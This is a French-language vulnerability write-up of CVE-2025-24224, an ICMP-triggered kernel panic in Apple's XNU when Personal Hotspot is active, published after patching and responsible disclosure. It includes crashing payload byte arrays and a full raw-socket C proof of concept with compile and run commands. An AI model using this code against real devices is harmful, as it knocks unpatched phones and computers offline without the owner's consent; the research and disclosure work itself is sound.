01.Le Contexte
Write-up de la CVE-2025-24224 permettant à un attaquant distant de provoquer une terminaison inopinée du système, sans interaction utilisateur.
- Type : Denial of Service (Kernel Panic)
- Vecteur : Réseau (remote) - Authentification Hotspot. Pas d'interaction utilisateur.
- Systèmes affectés : iOS < 18.5, iPadOS < 18.5/17.7.9, macOS < Sequoia 15.5 / Ventura 13.7.7, watchOS < 11.5, tvOS < 18.5, visionOS < 2.5
- Correction Apple : Amélioration des vérifications ("improved checks")
02.Généralités
La vulnérabilité a été découverte de façon empirique lors de tests réseau sur un iPhone en mode Personal Hotspot. Un kernel panic inattendu s'est produit lors de l'envoi d'un paquet ICMP Type 3 Code 4 vers l'adresse WAN de l'iPhone.
Je cherchais à analyser le comportement réseau en envoyant un paquet de test PMTUD. Pour ceux qui ne connaissent pas, c'est une technique qui permet de déterminer la taille du MTU dans un réseau informatique.
- Cette mécanique est généralement utilisée lorsqu'un équipement intermédiaire (ex. tunnel chiffré, VPN, PPPoE) réduit le MTU effectif du lien.
- Le PC client envoie un paquet de 1500 octets avec le DF activé. Lorsqu'il arrive au routeur, celui-ci renvoie un paquet ICMP PMTUD pour prévenir de la taille réelle du paquet à envoyer.
- Le PC client renvoie donc un paquet à la taille définie dans le paquet PMTUD.
Une autre solution, plus connue aujourd'hui, est le MSS Clamping afin de réduire la taille du MTU sur une chaîne de liaison réseau informatique.
Exemple de paquet ICMP Type 3 Code 4 => PMTUD :
Grâce à cela, j'ai découvert la vulnérabilité. Le crash initial pointait vers pf_pbuf.c:316 via les kernel logs, mais ce qui a fait la valeur de la découverte, c'est l'investigation systématique qui a suivi. Plutôt que de m'arrêter à la simple reproduction, j'ai testé différentes tailles de payload et j'ai découvert qu'à partir de 28 octets, le crash se produisait dans une fonction complètement différente (nat464_utils.c:965). Cette approche méthodique a permis d'identifier DEUX vulnérabilités distinctes qu'Apple a pu corriger simultanément. Sans l'analyse systématique, le second chemin serait resté exploitable après le patch initial.
Cependant, le déclenchement du kernel panic repose exclusivement sur le traitement des messages ICMP de Type 3 (Destination Unreachable). Le champ Code associé n'influence pas directement la condition de crash observée, à l'exception du Code 5 (Source Route Failed), qui ne déclenche aucun comportement anormal.
Cette différence suggère l'existence d'un chemin de traitement distinct pour ce code spécifique, et renforce l'hypothèse selon laquelle la vulnérabilité est liée au parsing des messages d'erreur ICMP encapsulant un en-tête IP original dans le contexte NAT464 du Personal Hotspot.
03.Investigation
Le but est donc de se connecter au Hotspot de l'iPhone et d'envoyer un paquet ICMP Type 3 en direction du WAN.
Dans cet état, les deux variantes décelées sont :
- 1 - Variante avec un buffer entre 8 et 27 octets => Code source pf_pbuf.c:316
unsigned char payload[] = {
0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
}; // Add until 27 octets
pf_pbuf.c.html#pbuf_contig_segment
VERIFY((u_int)(off + len) <= pbuf->pb_packet_len);
Hypothèse technique :
Le panic survient lors de la validation de la continuité d'un segment dans un pbuf. Une incohérence entre la longueur effective du paquet ICMP reçu et la longueur attendue lors de l'accès segmenté entraîne une violation de l'invariant (off + len) <= pb_packet_len.
- 2 - Variante avec un buffer au-dessus de 27 octets => Code source nat464_utils.c:965
unsigned char payload[] = {
0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
}; // 28 octets or more
nat464_utils.c.html#nat464_translate_proto
VERIFY(IN_ARE_ADDR_EQUAL(&odst->natv4addr, &iph2->ip_src));
Hypothèse technique :
Dans le contexte NAT464 du Personal Hotspot, le kernel suppose l'existence d'un mapping cohérent entre l'adresse source IP encapsulée et l'entrée correspondante dans la table NAT. Un paquet ICMP forgé vers l'interface WAN peut violer cet invariant, déclenchant l'assertion IN_ARE_ADDR_EQUAL().
Les vulnérabilités reposent sur deux assertions défensives présentes dans le kernel XNU. La macro VERIFY() d'Apple est un mécanisme de vérification d'invariants qui, en cas d'échec, déclenche immédiatement un kernel panic non récupérable, interrompant l'exécution avant toute possibilité d'exploitation post-condition.
Dans le contexte de cette vulnérabilité :
- Aucune corruption mémoire exploitable n'est observée.
- Aucun dépassement de tampon contrôlable n'est atteint.
- Aucun état intermédiaire exploitable ne subsiste après la violation de l'invariant.
L'exécution est interrompue au moment précis où l'assertion échoue. Il n'existe donc pas de fenêtre permettant une escalade de privilèges ou un détournement du flot d'exécution.
Des tests complémentaires ont été réalisés afin d'évaluer la possibilité d'un comportement différé ou d'un état partiellement corrompu exploitable :
- Variation des tailles de payload ICMP
- Modification des champs IP et ICMP (Type, Code, MTU, checksum)
- Répétition des envois et tests de fragmentation
Seule la variation de la taille du payload ICMP (Type 3) a permis de déclencher un déni de service distant dans le contexte testé (Personal Hotspot actif, trafic transitant vers l'interface WAN).
En effet, à partir de 28 octets, le payload satisfait les contraintes minimales attendues par le parsing du pbuf, permettant au traitement de progresser jusqu'au chemin NAT464 où une seconde assertion est atteinte.
04. Ingénierie "Raw ICMP"
#include
#include
#include
#include
#include
#include
#include
#include
struct icmp_pmtud {
uint8_t type;
uint8_t code;
uint16_t checksum;
uint32_t unused;
uint16_t mtu;
};
unsigned short checksum(void *b, int len) {
unsigned short *buf = b;
unsigned int sum = 0;
unsigned short result;
for (sum = 0; len > 1; len -= 2) sum += *buf++;
if (len == 1) sum += *(unsigned char *)buf;
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
result = ~sum;
return result;
}
int main(int argc, char *argv[]) {
int sockfd;
char packet[100];
memset(packet, 0, sizeof(packet));
//Change ip src with your ip address given by the iPhone DHCP
char *src_ip_str = "172.20.10.3";
char *dst_ip_str = "8.8.8.8";
struct iphdr *ip = (struct iphdr *) packet;
struct icmp_pmtud *icmp = (struct icmp_pmtud *) (packet + sizeof(struct iphdr));
unsigned char payload[] = {
0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
};
memcpy(icmp, payload, sizeof(payload));
int icmp_len = sizeof(payload);
icmp->checksum = 0;
icmp->checksum = checksum((unsigned short *)icmp, icmp_len);
ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = htons(sizeof(struct iphdr) + icmp_len);
ip->id = htons(rand() % 65535);
ip->frag_off = htons(0x4000);
ip->ttl = 128;
ip->protocol = IPPROTO_ICMP;
ip->check = 0;
ip->saddr = inet_addr(src_ip_str);
ip->daddr = inet_addr(dst_ip_str);
ip->check = checksum((unsigned short *) ip, sizeof(struct iphdr));
if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(EXIT_FAILURE);
}
int one = 1;
if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) {
perror("setsockopt");
exit(EXIT_FAILURE);
}
struct sockaddr_in dest;
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = ip->daddr;
int packet_size = sizeof(struct iphdr) + icmp_len;
if (sendto(sockfd, packet, packet_size, 0, (struct sockaddr *)&dest, sizeof(dest)) < 0) {
perror("sendto");
exit(EXIT_FAILURE);
} else {
printf("Paquet ICMP 'Packet Too Big' envoyé avec succès.\n");
}
close(sockfd);
return 0;
}
Compilation et lancement de la commande :
- gcc RawICMP.c -o RawICMP
- ./RawICMP
05.Méthodologie & Impact
Approche systématique d'investigation d'incidents appliquée à la fois aux environnements de production critique et à la recherche en sécurité
- Récupération et analyse des crash logs kernel
- Identification du composant fautif (pf_pbuf.c:316)
- Investigation systématique des variantes (tests de payloads multiples)
- Découverte d'un second chemin de crash (nat464_utils.c:965)
- Corrélation avec le code source XNU pour comprendre la root cause
- Documentation exhaustive et responsible disclosure
- Impact : Correction simultanée de deux vulnérabilités distinctes par Apple
- CVSS : 7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
06.Bug Bounty
- Reconnaissance : Crédité dans les Apple Security Advisories officiels
- Valeur : Cette vulnérabilité a été récompensée par le programme Apple Security Bounty dans la catégorie "Kernel"
Un immense merci à l'équipe Apple Product Security pour leur réactivité et leur collaboration durant le processus de responsible disclosure.
07.Référence
- Apple Security Advisory iOS 18.5 : https://support.apple.com/en-us/122404
- nvd.nist.gov : https://nvd.nist.gov/vuln/detail/CVE-2025-24224
- cyberveille.esante.gouv.fr : https://cyberveille.esante.gouv.fr/alertes/apple-cve-2025-24224-2025-07-30
- cve.org : https://www.cve.org/CVERecord?id=CVE-2025-24224